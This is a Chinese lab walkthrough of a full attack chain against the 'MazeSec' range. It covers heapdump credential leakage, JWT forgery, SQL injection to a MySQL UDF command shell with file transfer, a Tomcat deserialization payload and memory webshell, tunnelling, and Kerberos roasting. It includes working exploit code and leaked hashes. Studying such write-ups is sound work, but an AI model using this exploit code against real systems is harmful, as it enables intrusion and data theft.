跳到内容

为了压缩体积,基本上能没装的都没装,AD做的也很简陋

Pasted image 20261029164025.png

常规fscan扫一下全端口,poc扫出来有heapdump泄露,仅开放22和8080

┌──(root㉿MJ)-[/tmp/test/maze]
└─# fscan -h 192.168.0.21 -p 1-65535

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
192.168.0.21:22 open
192.168.0.21:8080 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://192.168.0.21:8080  code:200 len:5148   title:MazeSec 报表工作台
[+] PocScan http://192.168.0.21:8080 poc-yaml-spring-actuator-heapdump-file
已完成 2/2
[*] 扫描结束,耗时: 18.711917056s

下到本地JDumpSpider分析并且提取所有字符

┌──(root㉿MJ)-[/tmp/test/maze]
└─# wget http://192.168.0.21:8080/actuator/heapdump
--2026-10-29 15:45:02--  http://192.168.0.21:8080/actuator/heapdump
Connecting to 192.168.0.21:8080... connected.
HTTP request sent, awaiting response... 200
Length: 25616762 (24M) [application/octet-stream]
Saving to: ‘heapdump’

heapdump                    100%[========================================>]  24.43M  39.8MB/s    in 0.6s

2026-10-29 15:45:02 (39.8 MB/s) - ‘heapdump’ saved [25616762/25616762]

┌──(root㉿MJ)-[/tmp/test/maze]
└─# java -jar JDumpSpiderPlus.jar heapdump


┌──(root㉿MJ)-[/tmp/test/maze]
└─# java -jar JDumpSpiderPlus.jar heapdump export-strings
===========================================
ExportAllString
-------------
[+] Output to: /tmp/test/maze/24721771780130.txt

扔给ai筛一下信息,有mysql的凭据和lab.second-factor,以及JWT密钥

类型 文件中的值/线索 说明
MySQL 用户 root lab.db.user
MySQL 密码 lemonsseecc lab.db.password,明文
数据库地址 jdbc:mysql://db:3306/ctf_lab?allowMultiQueries=true&useSSL=false&serverTimezone=UTC&characterEncoding=UTF-8 库名 ctf_lab,主机 db:3306,且开启 allowMultiQueries=true
二次因子/管理密钥 BuildingMaintenance2026! lab.second-factor,疑似管理员第二因素
疑似 JWT 签名密钥 0x64sdas55xad888al 出现在 JwtService、HS256、iat/nbf/exp 附近,疑似 JWT HMAC 密钥

越权

web首页有注册接口,随便注册一个用户抓包能拿到JWT以及解析结果

GET /api/auth/me HTTP/1.1
Host: 192.168.0.21:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:159.0) Gecko/20100101 Firefox/159.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.0.21:8080/
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbjEyMyIsInJvbGUiOiJVU0VSIiwiZXhwIjoxNzkzMjYzOTMwfQ.6SZQ2e0RawdvLbZzum0Nfl2cjWU3LOh5kPMhLCkjzCE
Connection: keep-alive
Priority: u=4

Pasted image 20261029155249.png

拿之前的JWT密钥去伪造admin的签名

import jwt, time

key = "0x64sdas55xad888al"
payload = {
    "sub": "admin",
    "role": "ADMIN",
    "exp": int(time.time()) + 3600
}

new_token = jwt.encode(payload, key, algorithm="HS256")
print(new_token)

Pasted image 20261029155341.png

越权拿到admin,不习惯纯命令行的把jwt扔到浏览器替换一下

SQL注入

看到搜索顺手测一下,很容易知道有sql注入,不过容易得到的往往是蜜罐

Pasted image 20261029155520.png

直接sqlmap dump出来,很明显的提示udf,这里sqlmap直接--os-shell会失败,原因自行AI,可以自己搓udf,也可以直接脚本秒

Database: ctf_lab
Table: legacy_plugins
[1 entry]
+------------------------------+--------------------+---------------------+
| note                         | plugin_name        | library_name        |
+------------------------------+--------------------+---------------------+
| Legacy report helper library | report_legacy_eval | lib_mysqludf_sys.so |
+------------------------------+--------------------+---------------------+

exp

#!/usr/bin/env python3
"""Interactive command shell for the local MazeSec Web -> MySQL UDF lab path.

Reads a Burp request (bp.txt by default), uses its admin JWT while valid, and
otherwise signs a fresh one with the key already recovered in this lab. The
database image contains the UDF library, so no file upload is attempted.
"""

from __future__ import annotations

import argparse
import base64
import binascii
import hashlib
import hmac
import json
import os
from pathlib import Path
import re
import shlex
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid


LAB_SIGNING_KEY = b"0x64sdas55xad888al"
MAX_OUTPUT_BYTES = 1200  # Base64 result stays below the Web's 2048-char budget.
PUT_CHUNK_BYTES = 960
GET_CHUNK_BYTES = 768
TRANSFER_OK = b"__MAZE_TRANSFER_OK__"


class ShellError(Exception):
    pass


def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode("ascii")


def parse_request(path: Path) -> tuple[str, str | None]:
    try:
        lines = path.read_bytes().decode("iso-8859-1").splitlines()
    except OSError as exc:
        raise ShellError(f"无法读取请求文件 {path}: {exc}") from exc
    if not lines:
        raise ShellError("请求文件为空")
    parts = lines[0].split()
    if len(parts) < 2 or parts[0].upper() != "GET":
        raise ShellError("bp.txt 应是报表检索的 GET 请求")
    target = urllib.parse.urlsplit(parts[1])
    if target.path != "/admin/report/search":
        raise ShellError("bp.txt 的请求路径不是 /admin/report/search")
    headers: dict[str, str] = {}
    for line in lines[1:]:
        if not line.strip():
            break
        if ":" in line:
            name, value = line.split(":", 1)
            headers[name.strip().lower()] = value.strip()
    host = target.netloc or headers.get("host", "")
    if not host or any(char.isspace() for char in host):
        raise ShellError("bp.txt 缺少有效 Host")
    scheme = target.scheme or "http"
    if scheme not in ("http", "https"):
        raise ShellError("只支持 HTTP/HTTPS")
    authorization = headers.get("authorization", "")
    token = authorization[7:].strip() if authorization.lower().startswith("bearer ") else None
    return f"{scheme}://{host}", token


def jwt_claims(token: str | None) -> dict:
    if not token:
        return {}
    try:
        payload = token.split(".")[1]
        decoded = base64.urlsafe_b64decode(payload + "=" * (-len(payload) % 4))
        value = json.loads(decoded)
        return value if isinstance(value, dict) else {}
    except (IndexError, ValueError, binascii.Error):
        return {}


def fresh_admin_jwt() -> str:
    header = b64url(b'{"alg":"HS256","typ":"JWT"}')
    claims = json.dumps(
        {"sub": "admin", "role": "ADMIN", "exp": int(time.time()) + 3600},
        separators=(",", ":"),
    ).encode("utf-8")
    unsigned = header + "." + b64url(claims)
    signature = hmac.new(LAB_SIGNING_KEY, unsigned.encode("ascii"), hashlib.sha256).digest()
    return unsigned + "." + b64url(signature)


class ReportClient:
    def __init__(self, base_url: str, token: str):
        self.base_url = base_url.rstrip("/")
        self.token = token
        self.opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))

    def sql(self, statement: str) -> list[dict]:
        claims = jwt_claims(self.token)
        if not isinstance(claims.get("exp"), (int, float)) or claims["exp"] <= time.time() + 30:
            self.token = fresh_admin_jwt()
        # The server appends q inside LIKE '%<q>%'; start a second statement.
        q = "' AND 1=0; " + statement.rstrip().rstrip(";") + "; -- "
        url = self.base_url + "/admin/report/search?" + urllib.parse.urlencode({"q": q})
        request = urllib.request.Request(
            url,
            headers={
                "Authorization": "Bearer " + self.token,
                "Accept": "application/json",
                "User-Agent": "maze-udf-shell/1",
                "Connection": "close",
            },
        )
        try:
            with self.opener.open(request, timeout=20) as response:
                status, raw = response.status, response.read()
        except urllib.error.HTTPError as exc:
            status, raw = exc.code, exc.read()
        except (OSError, urllib.error.URLError) as exc:
            raise ShellError(f"无法连接 {self.base_url}: {exc}") from exc
        try:
            payload = json.loads(raw)
        except (ValueError, UnicodeDecodeError) as exc:
            raise ShellError(f"接口返回 HTTP {status},内容不是 JSON") from exc
        if status != 200:
            detail = payload.get("error") or payload.get("message") or "请求失败"
            raise ShellError(f"HTTP {status}: {detail}")
        results = payload.get("results")
        if not isinstance(results, list) or len(results) < 2:
            raise ShellError("接口未返回预期的多语句结果")
        return results

    def one(self, statement: str) -> dict:
        for item in reversed(self.sql(statement)):
            rows = item.get("rows")
            if rows:
                if item.get("truncated"):
                    raise ShellError("结果被 Web 的 2048 字符预算截断,请缩短输出")
                return rows[0]
        raise ShellError("SQL 查询没有返回数据行")

    def ensure_udf(self) -> None:
        library = self.one("SELECT library_name AS library FROM legacy_plugins LIMIT 1").get("library")
        if not isinstance(library, str) or not re.fullmatch(r"[A-Za-z0-9_.-]+\.so", library):
            raise ShellError("legacy_plugins 没有给出有效的预置库文件名")
        row = self.one("SELECT COUNT(*) AS count, MAX(dl) AS library FROM mysql.func WHERE name='sys_eval'")
        count = int(row.get("count", "0"))
        if count:
            if row.get("library") != library:
                raise ShellError("sys_eval 已指向另一共享库;先检查 mysql.func,再决定是否清理")
            print(f"[+] sys_eval 已注册:{library}")
            return
        self.sql(f"CREATE FUNCTION sys_eval RETURNS STRING SONAME '{library}'")
        row = self.one("SELECT COUNT(*) AS count, MAX(dl) AS library FROM mysql.func WHERE name='sys_eval'")
        if int(row.get("count", "0")) != 1 or row.get("library") != library:
            raise ShellError("sys_eval 注册后验证失败")
        print(f"[+] 已注册预置库中的 sys_eval:{library}")

    def command(self, user_command: str) -> bytes:
        # A nested shell captures stderr as well; head bounds the Base64 cell.
        wrapped = f"sh -c {shlex.quote(user_command)} 2>&1 | head -c {MAX_OUTPUT_BYTES}"
        if len(wrapped.encode("utf-8")) > 2048:
            raise ShellError("命令超过 UDF 的 2048 字节限制")
        statement = (
            "SELECT sys_eval(CONVERT(0x"
            + wrapped.encode("utf-8").hex()
            + " USING utf8)) AS output"
        )
        value = self.one(statement).get("output")
        if value is None:
            return b""
        if not isinstance(value, str):
            raise ShellError("UDF 输出不是预期的 Base64 字段")
        try:
            return base64.b64decode(value, validate=True)
        except binascii.Error as exc:
            raise ShellError("UDF 输出 Base64 解码失败") from exc


def show_output(data: bytes) -> None:
    if not data:
        print("[无输出;命令可能没有 stdout,或超过了 8 秒执行上限]")
        return
    text = data.decode("utf-8", errors="replace")
    print(text, end="" if text.endswith("\n") else "\n")
    if len(data) >= MAX_OUTPUT_BYTES:
        print(f"[输出已截到前 {MAX_OUTPUT_BYTES} 字节]")


def remote_command(client: ReportClient, command: str, retry: bool = False) -> bytes:
    attempts = 3 if retry else 1
    for attempt in range(attempts):
        try:
            return client.command(command)
        except ShellError as exc:
            if not retry or "无法连接" not in str(exc) or attempt == attempts - 1:
                raise
            time.sleep(1)
    raise AssertionError("unreachable")


def checked_command(client: ReportClient, command: str, retry: bool = False) -> None:
    result = remote_command(client, command + " && printf " + TRANSFER_OK.decode(), retry)
    if not result.rstrip().endswith(TRANSFER_OK):
        detail = result.decode("utf-8", errors="replace").strip()
        raise ShellError("远端命令失败:" + (detail or "没有成功标记"))


def remote_fingerprint(client: ReportClient, remote_path: str) -> tuple[int, str]:
    quoted = shlex.quote(remote_path)
    answer = remote_command(
        client,
        f"stat -c %s -- {quoted} && sha256sum -- {quoted} | cut -d ' ' -f 1",
    ).decode("ascii", errors="replace").splitlines()
    if len(answer) < 2 or not answer[0].isdigit() or not re.fullmatch(r"[0-9a-f]{64}", answer[1]):
        raise ShellError("无法读取远端文件大小或 SHA-256:" + " | ".join(answer[:2]))
    return int(answer[0]), answer[1]


def remote_path(path: str) -> str:
    if not path.startswith("/") or path == "/":
        raise ShellError("远端文件请使用绝对路径,例如 /tmp/file.bin")
    return path


def put_file(client: ReportClient, local_name: str, remote_name: str) -> None:
    local = Path(local_name).expanduser()
    if not local.is_file():
        raise ShellError(f"本地文件不存在:{local}")
    destination = remote_path(remote_name)
    temporary = "/tmp/.maze-put-" + uuid.uuid4().hex[:16]
    quoted_temp = shlex.quote(temporary)
    quoted_destination = shlex.quote(destination)
    quoted_parent = shlex.quote(str(Path(destination).parent))
    expected_size = local.stat().st_size
    digest = hashlib.sha256()
    written = 0
    checked_command(client, f"test -d {quoted_parent} && test ! -d {quoted_destination}")
    checked_command(client, f": > {quoted_temp}")
    try:
        with local.open("rb") as source:
            for index, chunk in enumerate(iter(lambda: source.read(PUT_CHUNK_BYTES), b"")):
                encoded = base64.b64encode(chunk).decode("ascii")
                command = (
                    f"printf %s {encoded} | base64 -d | "
                    f"dd of={quoted_temp} bs={PUT_CHUNK_BYTES} seek={index} "
                    "conv=notrunc status=none"
                )
                checked_command(client, command, retry=True)
                digest.update(chunk)
                written += len(chunk)
                if written // (1024 * 1024) != (written - len(chunk)) // (1024 * 1024):
                    print(f"[+] 已上传 {written}/{expected_size} 字节", flush=True)
        if written != expected_size:
            raise ShellError("上传时本地文件大小发生变化")
        remote_size, remote_hash = remote_fingerprint(client, temporary)
        if remote_size != written or remote_hash != digest.hexdigest():
            raise ShellError("上传后远端文件的大小或 SHA-256 不匹配")
        checked_command(client, f"mv -f -- {quoted_temp} {quoted_destination}")
        final_size, final_hash = remote_fingerprint(client, destination)
        if final_size != written or final_hash != remote_hash:
            raise ShellError("远端最终路径的大小或 SHA-256 不匹配")
        print(f"[+] put 完成:{local} -> {destination} ({written} 字节,SHA-256 {remote_hash})")
    except (OSError, ShellError, KeyboardInterrupt):
        try:
            checked_command(client, f"rm -f -- {quoted_temp}")
        except ShellError:
            pass
        raise


def get_file(client: ReportClient, remote_name: str, local_name: str) -> None:
    source = remote_path(remote_name)
    destination = Path(local_name).expanduser()
    if destination.exists():
        raise ShellError(f"本地目标已存在,请换一个路径:{destination}")
    if not destination.parent.is_dir():
        raise ShellError(f"本地目标目录不存在:{destination.parent}")
    expected_size, expected_hash = remote_fingerprint(client, source)
    temporary = destination.with_name(destination.name + ".part-" + uuid.uuid4().hex[:8])
    digest = hashlib.sha256()
    received = 0
    try:
        with temporary.open("xb") as output:
            for index in range((expected_size + GET_CHUNK_BYTES - 1) // GET_CHUNK_BYTES):
                command = (
                    f"dd if={shlex.quote(source)} bs={GET_CHUNK_BYTES} "
                    f"skip={index} count=1 status=none | base64 -w0"
                )
                encoded = remote_command(client, command, retry=True)
                try:
                    chunk = base64.b64decode(encoded, validate=True)
                except binascii.Error as exc:
                    raise ShellError(f"第 {index + 1} 块不是有效的 Base64") from exc
                wanted = min(GET_CHUNK_BYTES, expected_size - received)
                if len(chunk) != wanted:
                    raise ShellError(f"第 {index + 1} 块长度错误:收到 {len(chunk)},预期 {wanted}")
                output.write(chunk)
                digest.update(chunk)
                received += len(chunk)
                if received // (1024 * 1024) != (received - len(chunk)) // (1024 * 1024):
                    print(f"[+] 已下载 {received}/{expected_size} 字节", flush=True)
            output.flush()
            os.fsync(output.fileno())
        if received != expected_size or digest.hexdigest() != expected_hash:
            raise ShellError("下载文件的大小或 SHA-256 与远端不一致")
        os.link(temporary, destination)
        temporary.unlink()
        print(f"[+] get 完成:{source} -> {destination} ({received} 字节,SHA-256 {expected_hash})")
    except (OSError, ShellError, KeyboardInterrupt):
        temporary.unlink(missing_ok=True)
        raise


def interactive(client: ReportClient) -> None:
    print("[+] MySQL 容器命令通道就绪;put 本地文件 远端绝对路径,get 远端绝对路径 本地文件,exit 退出。")
    cwd: str | None = None
    while True:
        try:
            line = input("udf-shell$ ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            return
        if not line:
            continue
        if line.lower() in ("exit", "quit", "q"):
            return
        prefix = f"cd {shlex.quote(cwd)} && " if cwd else ""
        try:
            if line.startswith("put ") or line.startswith("get "):
                try:
                    parts = shlex.split(line)
                except ValueError as exc:
                    raise ShellError(f"文件路径引号不完整:{exc}") from exc
                if parts[0] == "put" and len(parts) in (2, 3):
                    put_file(client, parts[1], parts[2] if len(parts) == 3 else "/tmp/" + Path(parts[1]).name)
                elif parts[0] == "get" and len(parts) in (2, 3):
                    get_file(client, parts[1], parts[2] if len(parts) == 3 else Path(parts[1]).name)
                else:
                    print("用法:put 本地文件 [远端绝对路径];get 远端绝对路径 [本地文件]")
            elif line == "cd" or line.startswith("cd "):
                change = line[2:].strip()
                target = change or "~"
                probe = prefix + "cd " + target + " && printf '__MAZE_CWD__%s\\n' \"$PWD\""
                answer = client.command(probe).decode("utf-8", errors="replace")
                if answer.startswith("__MAZE_CWD__"):
                    cwd = answer.splitlines()[0][len("__MAZE_CWD__") :]
                else:
                    print(answer.strip() or "目录切换失败")
            else:
                show_output(client.command(prefix + line))
        except (ShellError, OSError) as exc:
            print(f"[-] {exc}")


def main() -> int:
    parser = argparse.ArgumentParser(description="MazeSec 预置 MySQL UDF 的 Web 命令通道")
    parser.add_argument("-r", "--request", type=Path, default=Path(__file__).with_name("bp.txt"))
    parser.add_argument("--url", help="覆盖 bp.txt 中的目标基础 URL")
    action = parser.add_mutually_exclusive_group()
    action.add_argument("-c", "--command", help="执行一条命令后退出;不填则进入交互模式")
    action.add_argument("--put", nargs=2, metavar=("LOCAL", "REMOTE"), help="上传本地文件到远端绝对路径")
    action.add_argument("--get", nargs=2, metavar=("REMOTE", "LOCAL"), help="下载远端文件到本地路径")
    args = parser.parse_args()
    try:
        base_url, saved_token = parse_request(args.request)
        if args.url:
            parsed = urllib.parse.urlsplit(args.url)
            if parsed.scheme not in ("http", "https") or not parsed.netloc:
                raise ShellError("--url 必须是完整的 http(s)://主机:端口")
            base_url = args.url.rstrip("/")
        claims = jwt_claims(saved_token)
        if (
            claims.get("sub") == "admin"
            and claims.get("role") == "ADMIN"
            and isinstance(claims.get("exp"), (int, float))
            and claims["exp"] > time.time() + 60
        ):
            token = saved_token
            print("[+] 使用 bp.txt 中尚未过期的管理员 JWT")
        else:
            token = fresh_admin_jwt()
            print("[+] bp.txt 令牌缺失或不适用,使用本靶场已恢复的签名密钥生成新令牌")
        client = ReportClient(base_url, token)
        client.ensure_udf()
        print(f"[+] 目标 {base_url},命令执行身份:")
        show_output(client.command("id"))
        if args.put:
            put_file(client, *args.put)
        elif args.get:
            get_file(client, *args.get)
        elif args.command:
            show_output(client.command(args.command))
        else:
            interactive(client)
        return 0
    except (ShellError, OSError) as exc:
        print(f"[-] {exc}", file=sys.stderr)
        return 1


if __name__ == "__main__":
    raise SystemExit(main())

是docker,ip是172.31.10.20

udf-shell$ cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.31.10.20    docker2

端口只开了3306

udf-shell$ cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode             
   0: 0B00007F:A35B 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 8436 1 0000000031bdbfb0 100 0 0 10 0
   1: 00000000:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 8177 1 00000000cfd70c87 100 0 0 10 0
   2: 140A1FAC:0CEA 0A0A1FAC:E626 06 00000000:00000000 03:000013DB 00000000     0        0 0 3 000000005808dad6
   3: 140A1FAC:0CEA 0A0A1FAC:D2E0 01 000000B7:00000000 01:00000012 00000000     0        0 37532 4 0000000071f699aa 20 4 21 16 -1

可以发现根下的backup目录里有employee_accounts.xlsx

Pasted image 20261029163128.png

正常扒拉完文件就该传工具打内网了,但是这台机器单网卡见不到DC,回到web入口的第二个测试点

Java反序列化

其实通过这搭隧道来打mysql可以MDUT一把梭,web的二次鉴权入口,有明显Java序列化对象的特征,这里是JDBC不出网利用,如果Agent打的话会很方便,手搓的话打内存马最好,但是Tomcat默认对header长度有限制,yakit的ModifyTomcatMaxHeaderSize默认只改maxHttpHeaderSize

不改长度后端会返回400,改的话是500

maxHttpRequestHeaderSize 已单独设置
    → 使用 maxHttpRequestHeaderSize
否则
    → 使用 maxHttpHeaderSize

Pasted image 20261029163725.png

这里的链子很好找,heapdump暴露完了,直接CB1打就可以

修改Tomcat接受的header长度

import java.lang.reflect.Field;
import java.lang.reflect.Method;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/** Locate Tomcat's active HTTP protocols from its acceptor threads. */
public final class Stage1GenericHeaders extends AbstractTranslet {
    private static final int LIMIT = 409600;

    private static Object field(Object owner, Class<?> type, String name) throws Exception {
        Field value = type.getDeclaredField(name);
        value.setAccessible(true);
        return value.get(owner);
    }

    private static Class<?> namedParent(Class<?> type, String name) {
        for (Class<?> current = type; current != null; current = current.getSuperclass()) {
            if (name.equals(current.getName())) return current;
        }
        return null;
    }

    static {
        try {
            int changed = 0;
            for (Thread thread : Thread.getAllStackTraces().keySet()) {
                Object target = field(thread, Thread.class, "target");
                if (target == null) continue;
                Class<?> acceptor = namedParent(target.getClass(), "org.apache.tomcat.util.net.Acceptor");
                if (acceptor == null) continue;
                Object endpoint = field(target, acceptor, "endpoint");
                if (endpoint == null) continue;
                Object handler = endpoint.getClass().getMethod("getHandler").invoke(endpoint);
                if (handler == null) continue;
                Class<?> connectionHandler = namedParent(handler.getClass(), "org.apache.coyote.AbstractProtocol$ConnectionHandler");
                if (connectionHandler == null) continue;
                Object protocol = field(handler, connectionHandler, "proto");
                Class<?> protocolClass = protocol.getClass();
                Method setRequest;
                try {
                    setRequest = protocolClass.getMethod("setMaxHttpRequestHeaderSize", int.class);
                } catch (NoSuchMethodException nonHttpProtocol) {
                    continue;
                }
                Method setGeneral = protocolClass.getMethod("setMaxHttpHeaderSize", int.class);
                setGeneral.invoke(protocol, LIMIT);
                setRequest.invoke(protocol, LIMIT);

                // Old Http11Processor instances keep their original input-buffer size.
                // Disable processor reuse and discard idle processors before the next request.
                protocolClass.getMethod("setProcessorCache", int.class).invoke(protocol, 0);
                Object recycled = field(handler, connectionHandler, "recycledProcessors");
                recycled.getClass().getMethod("clear").invoke(recycled);

                int general = (Integer) protocolClass.getMethod("getMaxHttpHeaderSize").invoke(protocol);
                int request = (Integer) protocolClass.getMethod("getMaxHttpRequestHeaderSize").invoke(protocol);
                if (general != LIMIT || request != LIMIT) throw new IllegalStateException("header size change failed");
                changed++;
            }
            if (changed == 0) throw new IllegalStateException("no active Tomcat HTTP acceptor found");
        } catch (Throwable failure) {
            throw new ExceptionInInitializerError(failure);
        }
    }

    public Stage1GenericHeaders() { }

    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException { }

    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException { }
}

生成完base64的序列化数据直接发包改长度

Pasted image 20261029165413.png

打内存马

Pasted image 20261029165445.png

复制base64编码的类到yakit yso模块生成最终序列化数据发包打内存马

Pasted image 20261029165533.png

Pasted image 20261029165615.png

然后冰蝎连上去

Pasted image 20261029165710.png

判断出来docker1是双网卡,同时也暴露出来dc和db(mysql机)的ip

Pasted image 20261029165907.png

隧道

这个脚本太长了,需要的单独联系我吧,AI就能搓出来,和前面逻辑基本一样,能curl通即可

┌──(root㉿MJ)-[/tmp/test/maze]
└─# python3 tunnel-blackbox.py
Admin JWT:
[+] Generic Tomcat relay installed (injection HTTP 500; ping OK)
[+] SOCKS5 listening on 127.0.0.1:1081 via http://192.168.0.21:8080/api/relay


┌──(root㉿MJ)-[/tmp/test/maze]
└─# pc -q curl 172.31.20.10:8080
<!doctype html>
<html lang="zh-CN">

DC

这里是linux上的samba,不是真的域,可能会出现点奇奇怪怪的问题

提取下之前的职工名单

111
lemon
yliken
mchen
lzhou
awei
fliu
rwang
kxu
qhe
bmao
nwu
tzhang
syu
jlin
hgu
xqian
pchen
dlai
zsun
cjiang
ymeng
qluo
zfeng
dzheng
lgao
htan
xye
wbao
vli

正常来说这里要打AS-REP Roasting了,111不需要Kerberos预认证,拿到了111的session key,但是hashcat跑不出来,因为111是强密码

┌──(root㉿MJ)-[/tmp/test/maze]
└─# pc -q impacket-GetNPUsers -usersfile user.txt -request -format hashcat -dc-ip 172.31.20.20 corp.local/   Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

$krb5asrep$23$111@CORP.LOCAL:976f0d77de5db75d978dfd4eae475dc7$2adcc512714bb7ed3cb3e597f73dad5d3702674ae649f45fd5e220d2d939a296d50166b873999a73ca487e8b9836885f6281450e9f93778e4a991f7f0573fbc8101d41d9a50b7dfe7ddb9da37a0c92f72f0b9b917ae69023823a61b4eedf0f62c637df90cbc46469fdbe65d59a04ae8c02827507092b8e869e4ff779c295f5f1e7b3cbd9f5650e72aae377b4d1ccbda2236b0db025666edc237c1d16659f3718ba413ebf83b0cc1868beda58b39fcb0dec5d031fa0f0c7fec90fb890c76d442d507e54f5e0cfa85ea35b4879d9019bf32f97dd9bc4

┌──(root㉿MJ)-[/tmp/test/maze]
└─# hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

这里正确路径是Kerberoasting without pre-authentication,很少提到的一种攻击手法,不拿111直接拿到lemon用户
New Attack Paths? AS Requested Service Tickets - Semperis

┌──(root㉿MJ)-[/tmp/test/maze]
└─# pc -q impacket-GetUserSPNs -no-preauth 111 -usersfile user.txt -dc-host dc01.corp.local corp.local/
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

$krb5tgs$23$*lemon$CORP.LOCAL$lemon*$4166697e4341477f3a641fbe548c3b31$68705fadaaf471ce1b97bbdfb0526414c2151673f8005bd769dec5f1f93caa3dad0618b37776e4e48b7cb6a5ccfa79e8829546caad85dc317a4ae4851640e942e87643351f3c4f28339f7e19a245760eb85212e827af8d5ecaab88b81171a446768f1db97d76443a8e9a8c20b72bf66d29e216da9b9a5f84878b53fbaaa7f2c55a5fb87cf302471f7b4a8b0590f02d8a576cdd7c422329d8d6c0eee872b09d1b0937f29b7c3cf3d833a5f1d00f3dbea004c1f4772d85059e17385ae31ca964aba8256520f79dffbc18cf1ace6db5a3e4d13691bd46cb40823d9b405e6912cc56f0fe664185eabb756d3220d939185c9ffc627124cebae602790e095a28d85a0cb42ea6e71f18a81fafe289f8ab6363fc77055eac4ca409c689dd10c1e124e1f2541952d3f22ebd8e5002658e815a72d2b9f3623b2e1d462132450c55d64ed60505d3e750070d104e37eff206ed2b2bf3a93fa6b6fd09e27390d8dbbb8a85a5c91bd6126f3f1f5117c469c30378905ef9050e20470e662fc5c7d3917038db701d6e1e9ca8ac83e038dd7963b1c6163af3c3156a8c865772ad2d08bc22a3232364016f9af9e04426e3842e48b59e7bdd5566f7de0d47e1b3848ab01fc0e4c1ece2cd8a79e25dd16451cabe81030f02581181ef686a6400c66ec926e60986d0ce29b1533b16c8c487829688e898be68dce4e34eba854bcffe893f4317c678f352e69e9b0964e876d91d8300153bc2c6a8ea5748c622a22ccb076fa0cfd329567f73e52a26a45d2b0e42157cd7602effeca499aad5ffa1c9d5539730d5e5757ec24c469bf75cf112ac53e236a25f5c5afb68b9229a37dadf2226d6c7eeb176b65b8435c3d76463f80f7b1db9edd4bd8c36b21c441190e51665e2af5b15fe220aa94c5f024aad4d79a1159f76f0fcbe19a717531602e94b01881e1af45a544a2c0bb5adada7ca92e354935e062adb6b8cc33b56423092b6346f5c64c14d8a635a7fe8e4480dfe89d254d4cceaaf068e64f33ea02eef7cffcca3bd74af6938fea51ed1c6de51e9d703a183c73493ce0edc74b08143a297ba5d2e9a8400ac2ed082ed51daa54a1d777b95069ee507ad45a11e05b35d7395f29e2576d29fcc86e2b1b627209bde0ff1d7b5a6a4dc638372053b44645fa163838538e50d8c4c757e1f0c72f7ec281bcbcfb87e2d465b56927af1c5725735d3db6c6cae6c3fae21472c7ba11efaec76c828020809cc8ac92c7e7d90b6f3e36b5cedf3473c144d455933dcf9777efae8af846d7e97d8edf37a7fa474eff8929c2c6ec8f127bfd67060ca925a7b8a0ddfd32edb0ae3941db78af5daee64b9173d4dab8416665a1513b030ca6d86b6ad0a936fec4f7cd31cc1867b88740496c272a8bd6dab0e47e07387220e970b3536befde77dcd303fbeafdd55daf32e1ca6

跑出来密码

这个发布的靶机密码改成rockyou中的密码

┌──(root㉿MJ)-[/tmp/test/maze]
└─# hashcat -m 13100 hash.txt --show
$krb5tgs$23$*lemon$CORP.LOCAL$lemon*$4166697e4341477f3a641fbe548c3b31$68705fadaaf471ce1b97bbdfb0526414c2151673f8005bd769dec5f1f93caa3dad0618b37776e4e48b7cb6a5ccfa79e8829546caad85dc317a4ae4851640e942e87643351f3c4f28339f7e19a245760eb85212e827af8d5ecaab88b81171a446768f1db97d76443a8e9a8c20b72bf66d29e216da9b9a5f84878b53fbaaa7f2c55a5fb87cf302471f7b4a8b0590f02d8a576cdd7c422329d8d6c0eee872b09d1b0937f29b7c3cf3d833a5f1d00f3dbea004c1f4772d85059e17385ae31ca964aba8256520f79dffbc18cf1ace6db5a3e4d13691bd46cb40823d9b405e6912cc56f0fe664185eabb756d3220d939185c9ffc627124cebae602790e095a28d85a0cb42ea6e71f18a81fafe289f8ab6363fc77055eac4ca409c689dd10c1e124e1f2541952d3f22ebd8e5002658e815a72d2b9f3623b2e1d462132450c55d64ed60505d3e750070d104e37eff206ed2b2bf3a93fa6b6fd09e27390d8dbbb8a85a5c91bd6126f3f1f5117c469c30378905ef9050e20470e662fc5c7d3917038db701d6e1e9ca8ac83e038dd7963b1c6163af3c3156a8c865772ad2d08bc22a3232364016f9af9e04426e3842e48b59e7bdd5566f7de0d47e1b3848ab01fc0e4c1ece2cd8a79e25dd16451cabe81030f02581181ef686a6400c66ec926e60986d0ce29b1533b16c8c487829688e898be68dce4e34eba854bcffe893f4317c678f352e69e9b0964e876d91d8300153bc2c6a8ea5748c622a22ccb076fa0cfd329567f73e52a26a45d2b0e42157cd7602effeca499aad5ffa1c9d5539730d5e5757ec24c469bf75cf112ac53e236a25f5c5afb68b9229a37dadf2226d6c7eeb176b65b8435c3d76463f80f7b1db9edd4bd8c36b21c441190e5166